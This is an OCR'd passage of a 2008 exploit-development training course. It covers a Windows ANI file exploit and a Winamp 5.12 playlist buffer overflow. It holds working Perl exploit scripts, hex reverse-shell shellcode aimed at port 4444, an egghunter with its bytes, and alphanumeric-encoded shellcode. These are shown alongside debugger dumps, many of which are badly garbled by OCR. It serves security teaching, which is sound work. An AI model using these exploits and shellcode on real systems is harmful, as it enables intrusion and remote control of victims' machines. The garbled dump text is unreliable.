00000060 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAARARA
00000070 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 AAAAAAAAAAAA. ...
00000080 00 00 00 0O 00 00 OO 00 00 00 00 00O 00 00 00 00 @ v.vviiievnnnnn
00000090 42 42 42 42 43 43 BBBBCCCC

Jumping to [ebx] brings us to the beginning of the ANI file in memory. Unfortunately, we can't
simply overwrite parts of the file randomly with shellcode, as that would break the ANI file

structure.

We carefully locate the bytes we can alter in the file without damaging the file format, and "hop"

between these "islands" in order to get to our shellcode appended at the end of the file.
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OllyDbag - iexplore.exe - [CPU - thread 000006C4 ] _|EI|5|
@ File View Debug Dpﬁuns Window Help _|E|£|
u “‘l L ] o
FPauzed L | =i L|E | WlH le KlE |
R R FUEH EOX
Oib4oge; | 43 DEC ECH & yRegisters LFFL)
Efi: 41414141
BlEdmEEz | 46 INC ESI
ECH HBERERHEE
BlE4RRES | 46 NG EST —
ECH BB21Z7EC
BlEdREE | OO INT=
B 1B AE G EEM BiERECEE
B1EdneEs M INTZ EEn piEEELES
BlEabobe | DRER AOD EYTE FTR DS: [EAXI, AL
EEF 42424242
BlE4REGS | 41 THC ECH
B1E40065 | 43 INC EEH S
BlE4REE0 | 4F DEC EDT
Bitdanat | el PoRAD R
B1E4EEE0 | BE OUTS DX, BYTE PTR_ES: [EDI] ERENN= g2 o) dhgiEeeaiEe
GIE4DDDE | 6958 24 DOOOOR24 | [MUL EEP,DWORD PTR DS:[EAw+241,z4r |0 B L2 J8LE 22bit BUEFREEEE
BlE4RHIE | DRGE AOD EYTE ETR DS: [EAXI, AL -
: ? B DS BGEEZ 32bit GiFFFFFEF
BlE4RE1T | BREZ AOO EYTE ETR DS: [ECH1.AL A e Sk A d AR
BlE4GBE15 | DBROE AOD EYTE ETR DE: [EAX1.AL R
Bib40010 | G860 FOD BUTE FTR DS: CERT. AL D @
BlE4BE1F |  BEEE ADD EYTE FTR DS:CEAW1,AL 0 Lessny BRAIABIENESS (
e B R e
: ' = 570 empty —777 FFFF @B040GCE
BlE4AREEE | DROE AOD EYTE FTR DS: [EAX1.AL 11 oy 2 FEFF habodoce
«| » STZ empty —777 FFFF GORGEES0
ST3 empty -777 FFFF OORGOECE
3T4 empty -777 FFFF BSOSCFCT
STS empty —777 FFFF GOREGE00
STE empty —777 FFFF DORBGESG
oT2 Pt AT - B r |
Address |Hex dump Dizassembly Comment
Blodaenn|  BE AFodooos | MOU EST, SORESaAr
81344665 OF CrHPS DWORD FTR D5:[ESI],OWORD FTR ES:CE
B1344666 06 CHPS EBYTE PTR DS:LESIJ, E¥TE PTR ES: [EDI
B1244667| GEOF EDAZEGEAS |6DD EWTE PTR DS: CEDI+ASBBAZEDT, CH
B1244660| ED BFGBCEAE | MOU EEP, AECEGBEF
Blz44612| =rom ¥CHE DWORD FTR DS: CEAXI, EAX
B1344814 v ey Unknown command
Blad4m1E| ES 86 MO EL, 86
B1344617| GO AOO CL. O
Bl244615| EBS S7EEE4EE | MOU EF%, BEE4GRST
B134461E| SooR MOU EYTE PTR DS: [EAXI, AL
B1244626| 08 BeATED ENTER BATES, @
B1244654| oF LAHF
Al oA RTE [l = THRTO
]
|INT3 command at 01840004 |
Final ANI file :

00000000 52 49 46 46 eb 16 00 00 41 43 4F 4E 61 6E 69 68 RIFF....ACONanih
00000010 24 00 00 00O 24 00 00 00 02 00 00 00 e9 75 00 0O 8 cooBoooo00o0o00o
00000020 00 00 00 00 0O 00 OO OO 00 OO0 00 OO 00 00 00 00  ..veiieviininnnnn.
00000030 00 00 00 00 01 00 OO0 00 61 6E 69 68 56 00 00 00  ........ anihX. ..
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAARAA
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAARAA
00000060 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
00000070 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 AAAAAAAAAAAA. ...
00000080 00 00 00 00 0O OO0 OO OO 00 OO0 00 OO 00 00 00 00  ..veiveviininnnnn.
00000090 42 42 42 42 AB 7B CC BBBBCCCC
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Ollydbg execution flow:
OllyDbyg - iexplore.exe - [CPU - thread 000005CC] - |I:I|£|
File Wiew Debug Options Window Help _||5’|_|
et - : |
Pased (@] w[N] w4 4 Y] + L[E[mT[W[H|c|/[K|B|R]
CE T AOD BYTE PTR O%:LEART, AL
BESEDOSE | OEEE AOD EVTE PTR DS:[EAX1.AL | Reaicters (FPU)
BESEARYE | 42 THC EDX En pLalalal
B2GEARI1 | 42 IMC EDX [ |Es G
B2GEAE9E | 42 IHC ED: S R
BZSEAEIS | 42 IHC ED: EpainiEE
azSeaads | AR 5T0% DWORD PTR ES:[EOI] ERpE
B25EE095 | 7B OO JP0 SHORT BESE@Bes SEE AR en Thew
APSRRESY | GEER ADD EYTE PTR O%:LEARI, AL Sel e
APSERASY | GEEE AOD EYTE PTR DS:[EAXI.AL
= = R
B2SEEEOF | GBEE AO0 EYTE PTR DS:[EAXI, AL S S L S A A g
GZSEBEA1 | GEGE AO0 BYTE PTR O3:[EAXI. AL B e D A d A
BZSEBEAS | GEEE AOOD BYTE PTR D3:[EAXI, AL R e R A d A
BZSEOBAS | BoEe ADD EYTE PTR D:LEAXI.AL 21
AZSAREAT | BAEA AOD EYTE PTR DS:[EAX I AL 95 B EEE e
Goccoonz | omon ADD EVIE FTR Dos FEAWD AL D2
AZCEREA0 | GEGE AO0 BYTE PTR D3:[EAXI.AL D 8 LastBrr ERROR_SUCCESS |
= = ekl e
BZCEREES | BREE ADD EYTE PTR D5:LEA%1,AL Qi 219 cmety —11T PEEE BaCRoers
4| M| |z12 empty 777 FFFF comeeeck
373 empty —777 FFFF GRGOOA03
ST4 empty —7?7 FFFF GE040GC3
1 2 STS empty -777 FFFF GEEE0O04
/"—-—\ STE empty —?%? FFFF G806EG00

Addrezs |Herdomr—= * \ﬁ ASCII
GoCEOOOD | 52 49 46 46 EB 16 OO 08 41 42 4F 4E EE &9 60| RIFF5...ACOMan 0
GICEDDID| 24 B0 BE QB 24 BB 0O BB B2 B S BB BB|5...5...8. . .60,
GECEEEZE| B B0 0D GO ED 0B 0O BB BR GG B B BB | v uanneeennnnnees
GECEEEE0| B B0 00 A6 B1 00 0B B8 & 3 = B8 B8 ....0...a0ihb. ..
GEEEEEE| 41 41 41 4141 41 4 41 41| ARAARRRARARAARRAA
GEEEEESE| 41 41 41 41/41 41 4 41 41| ARRRRRRAARAARRRAE
GOCEOEGE| @R 41 41 41 41 41 i 41 41| . ARARRRAAAARRAAA
a
E

BRLEEEFE[ 41 41 41 4141 41 AARARARAAARAAA. . . .
BELEEAEZE| BA AR BE B8 Ba BE 5]

BEZLEEETE| 42 42 42 42| AR FEB 5-99-99-99-9?
HZCCEERE B8 B0 00 88 B8 80 00 88 B a0 O
BZSEEEER | BA AR BE 88 B AR BB 88| 8

EZSEEECH | B AR BB 88 B8R B0 BB 88 B8 B8R BE 88

Iﬁ‘:\IECTmI'IIﬁ FAMA GAA AR AR AR AR AR AR AR RAR AR AR

We can now append our shellcode to the end of the file as we have managed to direct the execution
flow to the end of our buffer. The following shellcode will send a reverse shell to 127.0.0.1, port
4444,

fc6aebdde8f9ffffff608b6c24248b453c8b7c057801ef8b4£188b5£2001eb498b348b01ee31c099
ac84c07407clca0d0lc2ebf43b54242875e58b5£2401eb668b0c4b8b5£1c01eb032c8b896c241c61l
c331db648b43308b400c8b701cad8b40085e688e4e0eec50££d6665366683332687773325£54££d0
68cbedfc3b50££d65£89e56681ed0802556a02££d068d909£5ad57££d6535353535343534353££d0
6668115c665389e19568a41a70c757££d66al05155££d068a4ad2ee957££d65355££d068e5498649
57££d650545455££d09368e779c67957££d655££d0666a646668636d89e56a505929¢cc89e76a4489

© All rights reserved to Author Mati Aharoni, 2008

72 BlackHat Vegas 2008




wn-.nl’funl_tj::'

e231cO0f3aafe422dfed22c938d7a38ababab6872feb316££7544££d65b57525151516a0151515551
££d068add905ce53f£fd66afff£37££d08b57£c83¢c464£f£d652££d068£08a045£53££d6££d0

e . _ >
) ;@Cunnecﬁng... | | ,r} ~ D - (= - ;¢ Page  (0f Tools -

[+ Administrator: G\Windows\system32\cmd.exe

Microsoft Windows [Uerzion 6.0.606001]
Copyright <c> 20806 Microsoft Corporation. All rights reserved.

C:slserssoffsecr*netstat —an ifind “'4444"
TCP A.A.A.A:-4444 B.A.8.8:8 LISTENING

Cisllzerssoffzseci

[‘5tart| ma Iﬂﬁ.dministrator:ﬂ:\wm__ }éC:‘n,leers‘npstec‘n,Deskb::p...l | [}y 5:52AM

Challenge #5

Recreate the ANI exploit from POC on a Windows Vista machine.
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Cracking the Egghunter

The exploit

In this module we'll be talking about an interesting buffer overflow in Winamp. Winamp version
5.12 suffered from a buffer overflow while processing playlist files with a long UNC path. The
reason that this crash is so interesting is because of the restrictive conditions we are going to have to
deal with in order for our buffer overflow to successfully execute code. At the end of the module,

we'll have a 3 stage shellcode which will be doing some fairly fancy acrobatics in order to get to our
bind shell.

We'll start with a rough proof of concept script to demonstrate the crash. This crash is very sensitive
to varying buffer lengths. If you play around with the POC you will notice that if you alter the

buffer length even a bit, the application crashes in a (seemingly) non exploitable way.

#!/usr/bin/perl -w
#
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# Original Poc by Umesh Wanve (umesh_345@yahoo.com)

#
Sstart= "[playlist]\r\nFilel=\\\\";

Snop="\x90" x 856;

Sshellcode ="\xcc" x 166;
Simp="\x41\x41\x41\x41" . "\x83\x83\x83\x83\x83\x83\x83\x83"."\x90\x90\x90\x90";
Send="\r\nTitlel=pwnd\r\nLengthl=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";
open (MYFILE, '>poc.pls');

print MYFILE $start;

print MYFILE S$nop;

print MYFILE $shellcode;

print MYFILE $jmp;

print MYFILE S$end;

close (MYFILE) ;
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The following screenshot shows the crash in Ollydbg:

= ]

* DllyDbg - winamp.exe - [CPU - rain thread] El@

@Flle Wiew Debug Options  Window  Help

Pased | B x| w[l] wE| ¥ ¥4 4 =) HHJJJEHJEHJﬂ

Registers (FFUI

— | ER BBBRBEEES

I I ECH @@1zCi0@

— | EDX B2B52F&2 in_mp3.H2653
EEY BBAREEE1

ESF [BB81237CH

EEF B8806066

ESI VEEEFAZC kernel32.C 1o
EDI 8846473C winamp. 88464

EIF 41414141

C 8 ES 8823 3Zbit BLFFFF
P8 CS 88lB 22bit BLFFFF
H & 52 8822 22bit BLFFFF
2 8 DI 8822 22bit BLFFFF
S @ FS B82E 22Zbit FFFOFE
TG
Oa
oa

G5 8888 HULL

LastErr ERROR_MO_MOR
EFL BBzigzez (HO,ME,ME,A,

STE emptw —7?77Y FFFF BEFFQ
ST1 emptw —7?77 FFFF B8FFQ
ST2 emptw —777 FFFF BEFEQ
ST2 empty —777? FFFF B8FES
ST4 empty —MNAN FFFF FFOFE
T | 5TS emptw -7?7?7? FFFF BAFFA
STE empty 1.000EEE88E8E8EEE
4 STV emptu I.BBBEBEB?BSBBB

FST 4828 Cond 1 B @ B H
FCW B82FF Prec MEAR,E2 H

Address Woioc ASCII > EEEEEEEE] I
G0lz37C0|53 83 53 53 85 55 53 55 96 98 90|00 15 7 47 OO 5aas5s88sEEE. |- -ooin | cocconon
AE1Z22706 [ HE W @ 00 0 O W W G0 W 68 66 88 B8 B0 @ ... i eennnes B AE4TTTS -
BE1ZZ7ES| G0 B0 A6 BB 6P B9 PR DA GD B9 D3 0O GE G0 B8 DA| ... ..., ... [l 2aizsree | aadrrrds wirg
BE1Z27F0| 60 B0 GG BB GE B9 PG DO GD 59 B0 0O GE G5 B8 08| ... ..., di| palzsrhe | poopasoa LA
BE1ZSE6H| BB B0 GO BB BB B0 PO DB GD BB PO DO BB BB B0 D8] ... .. ... ... golEarDd | poooooaa
BE1ZSE16| 60 B0 GO GO BB B0 PO DA GE BB DO DO GE BB B8 DE| ... .. ... polgsrDs | poomonos
BE1Z2520| 60 60 00 GO GO G0 OR 0O GO 00 OO 00 G5 08 G0 8| L....... ... N s
AA1Z2570| 60 60 06 GO GO 00 PR DO GO G0 DO 08 BE G5 B8 D8] ... ... B e
AA1Z5540| 60 G0 O6 GO 6P 00 PR DA GO 09 D3 08 BE G0 B8 B8| . ... ..., .. gBlZaTEd | Bommoooe
BEIZSE00| G0 G0 O6 GO GE OO PR DA GO G0 D0 OO GE G5 B8 D8| ... .. ... ... polZgres | poomooan
BAIZZS60| 60 B0 A6 BB 6D GO P DA GD B9 D3 0O GE G0 B8 DA| ... ..., ... BRlZErEC | aaomooaa
BE1Z2570| 60 B0 BE DB GE B9 PG DO G5 59 B0 0O G5 G5 B8 D8| ... .. ... ... polZarEn | poononaa
BEIZSE56H| B0 B0 GO DB BB B0 PO DB GD BB B0 DO BB BB B0 DE| ... .. ... ... QOLESTRS | poooooaa
BE1ZSE5EH| 60 B0 GO GO BB B0 PO DO GE B0 DO DO BB BB B0 DE| ... .. ... ... polZsrRS | poononoa
BE1Z2500| 60 G0 00 GO GO 00 OR 0O GO 00 DO 00 G5 G8 B9 B8] ... ... AR s
AA1ZZ5E0| 60 60 GG GO GO 0 PR DO GO 00 DO 08 B8 G5 B8 D8] ... ... RSN et
BA1Z5500| 60 60 B6 GO 6P 00 PR DA GO G0 PR DA GBI G0 G2 B8| . ... ..., ... v |Baissshd | poooameml L
FA1ZZ200| 60 60 A6 GO GE OO PR DA GO B9 PE G BB B1 B1 B1]........ ... galzeqs | Gedoqood

4 |l r 4 [l b

|.-’-'-.n::n::ess vialation when executing [41414141] - uge Shift+F7/F3/F3 ta pass exception ba program |

This crash is not exploit friendly. None of the registers point to our user controlled input, except for
ESP — which points us to an eleven byte buffer...we'll have to be creative in order to squeeze out of

that corner.
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We'll replace our ‘“\x41” buffer (which overwrites EIP) with a CALL ESP address, to jump to our
limited buffer. A convenient address is found in the Winamp DLL in_mp3.dll

[ 0202D961 FFD4 CALL ESP |

We edit our POC, re-create our malicious .pls file, and see the crash in Olly. Don't forget to place

a breakpoint at our CALL ESP address in order to see the action...
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* DllyDbg - winamp.exe - [CPU - rmain thread, module in_mp3] EI
@ File  Mieww Del:nug Optln:nns Wicl o Help '

FFO4 CALL ESP
BEBEDYes | FFFF EEE‘Z;EEZEESPU]
BZBZO0EE | 3308 XOR EEM, EBY el
BZBZ00ET | 9950 E4 MOU OWORD FTR S5: [EEBF- e
BZBZ096A | €A 81 PUSH 1 ERv GheBamgy o
BZBZO00EC | ES SECIFFFF CALL in_rn3. B202A36F Eom ARTaeIeE
B2RZO0OT] | 53 POF ECX EnP Boceanen
BERcHcE | ARG e S EC ESI PEEEPAZC kernel32.Clo
e B e EDI B846473C winamp. G246
ggozhoes | SYDED HOU DUORD PTR S5: [EBP-367 £01 EIF 82020961 in_mp3.B2EED
B2BZ0I51 (~ 7O 56 JGE SHORT in_mps. e S R aae
BZAZ0083 | SEFT HOY ESI, EDI STl te R e e
BZBZ00S5 | CIEE B2 SHL ESI,2 S B DS BeSA Bob .. ACFFER
B2EZ0922 | A1 Doleenas MOV ER, DWgeel FTR DS:[2BA1E061 |5 0 o 005k aonir oFroeo
BZBZ00S0 | EEABE MOU ERY, DWORD FTR DS:CESI4EAX] |5 0 o cood il
Gobenacs |v 24 42 I SHART - in_mp3, 02620506 B
B2 in_mp
E2GZ0994 | FE4B BC 83 TEST BYTE PTR DS: [EAR+CI, 33 2 b asEEer AERRERENECHOR
B202055 |V 74 oF 4E_SHORT in_nn3. b26209A3 __|EFL e@ze@zez (HO,NE,NE,R,
BZBZ005E | ES 36C2FFFF CALL in_mps. 82029806 L4 211 et ZI25 EFEF Borrd
gzez09Aa | 59 FOP ECH STZ empty —777 FFFF BOFES
BZBZO0AL | 83FE FF CHP_EAi, -1 S5 Ete i35 FFFF OOFEG
BEBZ0SA4 (v 74 B3 JE_SHORT in_mp3. B28209A9 T e ThAN FEFF FPEEH
BZBZOORE | FF45 E4 INC DWORD PTR 5&:[EBP-1C] - B e AR RARSE
GEEPOA0 AOFF 1d FHMP FAT 1d a1e g:gt: | BAEREEREARE
™ P {577 enety 1. oeenosesanngs
RERERRIcIcLe FST 4828 Cond | @ & & E
FCWl B2PF  Frec NEAR,53 N
Hddreaijé;EH durp ASCII . g3828s
OOlZs7C0| S5 83 §3 05 oo 83 93 0O 00 98 90 OO 18 rr 47 OB 33333553EEE. TWA. el e
Aieitny —leoizarcc | medvri—
BB155rER | | eaizzroe | ooasee
R BEIZS704 | OEOGEE
S BEIZS70E | DEOEGE
e e BEIZS7OC | BEOEEE
e BEIZSTES | GEGOGE
e BEIZSTE4 | DEGEOE
eB153ae0 BE1ZSTES | DEOOOE
eB15aaea BEI1ZSTEC | DEOEOE
Bisann BEIZSPFE | DEO00E
R BE1Z37F4 | DEOOOE
s BEIZSTFE | DEOOOE
e BEIZSTFC | BEOoEE
A BEIZS06E | GEOOGE
e BE1Z5064 | DEOGOE
BE 122500 = e e
l |J ] |_| [

| Breakpoint at in_mp3. 02020961
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We see that our redirection is working...now we need to figure out how to get out of that tight 11
byte buffer. One option is to try to jump back into our buffer, which is accessible via ESP. If we

gave the instructions:

83EC 58 SUB ESP, 58
83EC 58 SUB ESP, 58
FFE4 JMP ESP

These commands will be our 1* stage shellcode, which will lead us to a less size restrictive space.

We will jump back 176 (58H+58H) bytes into our buffer. In this new 176 bytes space we won’t be
able to execute our final payload (as we need anywhere from 300-900 bytes of a reverse shellcode).
However, we will be able to create a 2" stage shellcode which will help is in getting to our final

payload. We’ll add the new ESP adjusting shellcode to our exploit, and test it out.

#!/usr/bin/perl -w
#
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# Original Poc by Umesh Wanve (umesh_345@yahoo.com)

#
Sstart= "[playlist]\r\nFilel=\\\\";

Snop="\x90" x 856;

$Sshellcode ="\xcc" x 166;

#jump to shellcode
$imp="\x61\xd9\x02\x02" . "\x83\xec\x58\x83\xec\x58\xff\xed"."\x90\x90\x90\x90";
Send="\r\nTitlel=pwnd\r\nLengthl=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";
open (MYFILE, '>poc.pls');

print MYFILE $start;

print MYFILE $nop;

print MYFILE $shellcode;

print MYFILE $jmp;

print MYFILE S$end;

close (MYFILE);

As you can see, we are redirected 164 bytes up our buffer, and now have several options we can use

to get to our 3 and last stage payload (reverse shell).
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* OllyDhbg - winarmp.exe - [CPU - rmain thread]
@ File Wiew Debug Options Window Help

Paused | BB X| w01 S+ ¥4 4] + L|E/M|T]
BElzorEY || 90 HaF A
HE1237EA Qi MHap
HE1237EE jlc ] HapP
HE1237EC f=lE ] HapP
BE123van lE ] HaF |——
HE1237EE L5 HOF |9
bEl123vEr o] MHap
HE1Z3F1A Lo ] Hap
HE123711 Lo ] Hap
HE1Z23712 Qi MHap
HE1237132 jlc ] HapP
HE123714 f=lE ] HapP
HE123715 lE ] HaF
BELZ371G CC IMT=
BE12371vV CC INTZ
HE 1 [ INTS
R CC INTS
[5[E] v1A CC IMNTS
HE1Z2371E CC INTE
BE12371C CC INTZ
HE123710 cC INTZ
HE12371E CC INTZE
BE1Z237IF CC IMT=
HE1z23v2a CC INTZ
BE1Z23721 CC INTS
HE123722 CC INTS
HE1Z23723 CC INTE -
AR 227724 rr THTZ
4 |:| b

v Space for 2nd stage shellcode

Probably the easiest way to go about this is to use this 164 byte space to make a longer jump back

into our buffer (perhaps into the beginning of our NOP buffer) and embed our shellcode there.

This however, wouldn’t be as fun as implementing an egghunter.
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The Egghunter

An egghunter is a short piece of code which is safely able to search the Virtual Address Space for
an “egg” — a short string signifying the beginning of a larger payload. The egghunter code will
usually include an error handling mechanism for dealing with access to non allocated memory

ranges. The following code is Matt Millers egghunter implementation:

We use edx for the counter to scan the memory.

loop_inc_page:
or dx, OxO0fff : Go to last address in page n (this could also be used to
XOR EDX and set the counter to 00000000)
loop_inc_one:
inc edx : Go to first address in page n+1

loop_check:
push edx : save edx which holds our current memory location
push 0x2, pop eax: initialize the call to NtAccessCheckAndAuditAlarm
int Ox2e: perform the system call
cmp al,05 : check for access violation, 0xc0000005 (ACCESS_VIOLATION)
pop edx :restore edx to check later the content of pointed address

loop_check 8 valid:
je loop_inc page: if access violation encountered, go to next page

is_egg:
mov eax, 0x57303054 : load egg (WOOT in this example)
mov edi, edx : initializes pointer with current checked address

scasd : Compare eax with doubleword at edi and set status flags

jnz loop_inc _one: No match, we will increase our memory counter by one
scasd :first part of the egg detected, check for the second part

jnz loop_inc_one: No match, we found just a location with half an egg

matched:
jmp edi: edi points to the first byte of our 3rd stage code, let's go!

Reference: "Safely Searching Process Virtual Address Space" skape 2004
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
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The following diagram depicts the functionality of Matt Millers' egghunter.

WOOTWOOT EggHunter

EggHunte

Got WOOT? No!

Got WOOT? No!

Got WOOT? YES!
WOOTWOOT? YES!

You Be Shellcode!

FFFFFFFF

Take some time to examine the code and corresponding diagram to understand the egghhunters’
method of operation. This will become even clearer once we see the egghunter in action.
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We compile and run Matts’ egghunter and receive our egghunter shellcode. We edit our PoC and

place this shellcode into the beginning of our newly gained 164 byte buffer, and make slight

adjustments to our buffer.

C:\Data>cl egghunter.c /link /debug

Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

egghunter.c

Microsoft (R) Incremental Linker Version 6.00.8168

Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out :egghunter.exe

/debug

egghunter.obj

C:\Data>egghunter.exe cstyle 0x57303054

// 32 byte egghunt shellcode (egg=0x57303054)

unsigned char egghunt[] = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\
x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
C:\Data>

Our modified exploit looks like this:

#!/usr/bin/perl -w
#
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# Original Poc by Umesh Wanve (umesh_345@yahoo.com)

#

Sstart= "[playlist]\r\nFilel=\\\\";

Snop= "TOOWTOOW" . "\x90" x 848 ;

Sshellcode ="\x90" x 6 . "\x66\x81\xca\xff\x0f\x42\x52\x6a"

"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"

"\xef\xb8\x54\x30\x30\x57\x8b\xfa"

"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

"\x90" x 128;
$imp="\x61\xd9\x02\x02" . "\x83\xec\x58\x83\xec\x58\xff\xed"."\x90\x90\x90\x90";
Send="\r\nTitlel=pwnd\r\nLengthl=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";
open (MYFILE, '>poc.pls');
print MYFILE $start;
print MYFILE $nop;
print MYFILE $shellcode;
print MYFILE $jmp;
print MYFILE S$end;
close (MYFILE);
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When caught in Olly, we get redirected to our egghunter — however we spot that the int Ox2e was

not interpreted correctly. The character 2e has been changed to a null byte.

Paused | B X] | wi 4] ¥4 | +f L|E|M|T]
EEIEERTE ET] HOE "
BE1Z2711 a6 HOP

BE1ZZ71Z a6 HOP

BA1ZIT1E a6 HOF

BA1ZIT 14 2@ HOF

BA1ZIT1S 2@ HOF s
BE1Z371E 2 HOFP R |
BAL1ZITLT 2@ HOP =
BE1ZZ71E a8 HOP

BE1Z2719 a6 HOP

BE1Z271A a6 HOP

BA1Z37 LE a6 HOF

BA1ZET1C E5:S1CA FFEF OR D%, HFFF

BE1Z5721 4z IMC EDH

BA1ZE7E2 5z FUSH EDOX

BA1ZZ723 &0 B2 FUSH =

BE1Z2725 Eg FOF EAY

BE1Z27E6 Ch Ga INT &

BE1Z27ES 3C B5 CHP AL, S

BE1Z37ZA EA FOF ECH

BE1Z57 26 ~ 74 EF JE SHORT BE1Z371C

BA1Z57Z0 BZ S43@3057 MOU ERX, 57265054

BE1ZE7S2 SEFA MOU EDI,EDH

BA1ZZ7 34 AF SCAS DWORD FTR ES:[EDI]

BE1Z22735 ~ 75 EA JHZ SHORT e@izarzi

BE1Z27ET AE SCAS DWORD FTR ES:[EDI]

BE1Z275E ~ 7E ET JHZ SHORT emizarsi

BE1Z373A - FFET JHF. EDI

BA1Z3730 2@ HOF

BA1Z3730 2@ HOF

BA1ZE7IE 2@ HOF

BA1ZZ73F 2@ HOP

BE1Z2746 a8 HOP

BE1Z23741 a6 HOP

BE1ZZ742 a6 HOP

BA1ZI743 a6 HOF

BA1ZIT44 2@ HOF

BA1ZI745 2@ HOF

BA1ZETIE 2@ HOF

Ba122747 29 mHaP &
1 r

We can encode our shellcode to exclude the 2e character — however, we can play it safe and use an

alphanumeric shellcode encoder to ensure a “clean” shellcode.

We’ll copy the original egghunter code to a binary file and encode it with msfencode.

| 6681caff0£f42526a0258cd2e3c055a74efb8543030578bfaaf75caaf75e7££e790

© All rights reserved to Author Mati Aharoni, 2008

83 BlackHat Vegas 2008




|
KRsecurity

www.offensive-security.com

bt framework3 # ./msfencode —-e x86/alpha mixed -i egghunter
[*] x86/alpha_mixed succeeded, final size 128

unsigned char buf[] =
"\x89\xe6\xdd\xc7\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x45\x36\x4b\x31\x49\x5a\x4b\x4f\x44\x4f\x47\x32\x46\x32\x43"
"\x5a\x43\x32\x51\x48\x48\x4d\x46\x4e\x47\x4c\x43\x35\x50\x5a"
"\x42\x54\x4a\x4f\x48\x38\x50\x54\x46\x50\x50\x30\x46\x37\x4c"
"\x4b\x4a\x5a\x4e\x4f\x43\x45\x4a\x4a\x4e\x4f\x44\x35\x4d\x37"
"\x4b\x4f\x4b\x57\x4a\x30\x41\x41";

bt framework3 #

The resulting encoded shellcode is 128 bytes in length — our original size estimate of 164 bytes was

large enough to hold this encoded shellcode.
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We modify our exploit, catch the crash in Olly, and see that our encoded shellcode has gone through
undisturbed. Once our shellcode decodes, we can see the original instructions we gave, including

the now correct int 2e command.

I*l " 1
poves [ Bex] wu] sy ¥4 9]« wlEjmix)
BO1z0 a8 THC E pi
BE123741 Sha1 41 1m IHOL EHH DWORD PTR DS:[ECH+411, 16
BA1Z3745 Zz41 42 ¥OR AL,EVTE FTR DS:[ECH+42]
BE1Z2742 3242 4z ¥OR AL,EYTE PTR DS:[EDH+42]
BE1Z374E 204z 4z HOR EYTE PTR D%:[EDH+421,AL
BR1Z374E 41 INC ECH —
BE1Z374F 42 IMC ED¥ R |
BE1Z3750 Eg FOF ER
BE1Z37EL E@ PUSH EAY
BE1Z37ER 2541 42 CHP BYTE PTR DS: [ECK+421, AL
BA1Z37ES ~ 75 E3 JHE SHORT @@12374
E5:S1CH FFEF OF_D¥, GFFF
BE123750 4z IMC EDH
BA1Z3750 52 FUSH ED%
BE1Z375E EH B2 FUSH =
BE1Z3750 Eg FOP ERH
BE1Z3761 C0 2E INT ZE
BE1Z37ES 3C @5 CHE AL, S
BE1Z37ES ER FOF EDH
BE1Z37EE ~ 74 EF JE SHORT BE123757
BA1Z3768 BS 54305057 HOW ™ ERH, 5302054
BA1Z3760 SEFR HOY EDT, EDR
BA1Z37EF AF SCAS DWORD FTR ES:[EDI]
BE1Z37 70 ~ 75 ER JHZ SHORT Bm1Z3750
BE1Z2772 BE SCAS DWORD PTR ES:[EDI]
BE1Z377S ~ 75 EF JHE SHORT e@i1Z37Ec
BE1Z377E - FFET7 JHP EDI
BH1Z27 e 7 o HOP
BE1Z37 7S an DEC EDH
BR1Z37 79 aF DEC EDI
BE1Z377A 4g DEC EAX
BE1Z377E 2050 &4 CHE EVTE PTR D%:[EAX+541,0L
BE1Z377E as IMC ESI
BE1Z377F Ea FUSH EAX
BE1Z3758 Ea@ FUSH EAX
BE1Z3721 2@4E 37 ¥OR BYTE PTR DS:[ESI+371,AL
BE1Z3754 ac DEC ESF
BR1Z3755 4E DEC EEX -
AR 22700 AM ncr oo
1 [ I
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We watch in amazement as our egghunter crunches through valid memory, looking for a double

instance of our egg. Once found, it jumps to the code directly after it — our 3 and last payload.

o =

* DllyDbg - wi'namp exe - [CPU - rain thread]
@ File View Debug Options  Window  Help

Paused JJJ LA ﬂﬂ JJ A = HHJJJEHJEHJﬂ
BE123748 IMC El =) + [ FPLI
BE155741 G4t 41 1@ THOL Efc. DUORD PTR OS: [ECH+413, 18 EEELE?EEZBE4
BE1EEPAE 2241 45 WOR AL, EYTE PTR DSt [ECH+d2] S
BE1EIPAR 3547 4% YOR AL EYTE PTR DSt [EOW+d2] S R
BG1E5P4E SG4Z 42 HOR EYTE PTR DS:[EDN+421, AL SR
BE1ESPAE a1 THC ECH - FEE '
BE1Z274F 42 INC ED¥ = e
BE1FEPER Ex FOF ERH
BA1Z37E] E@ PUSH EAY Esl e
BE1EIPER 2541 42 CHE EYTE PTR DS:[ECH+421, AL
B Ehl.. (W
: . C B ES BRZS ZFbit @CFFEF
it | % R £9 2 o s
oo eD BEa Ui A @ %5 6822 22hit BLEFFA
e £ sk Z 1 D5 G823 32hit GCFFFA
SRCED e sl S @ FS BRZE Zehit TEFDFS
e I e By S
BE1ZE7EE ~ T4 EF JE SHORT BE12S7ET 0 @ LastErr ERROR_NO_MOR
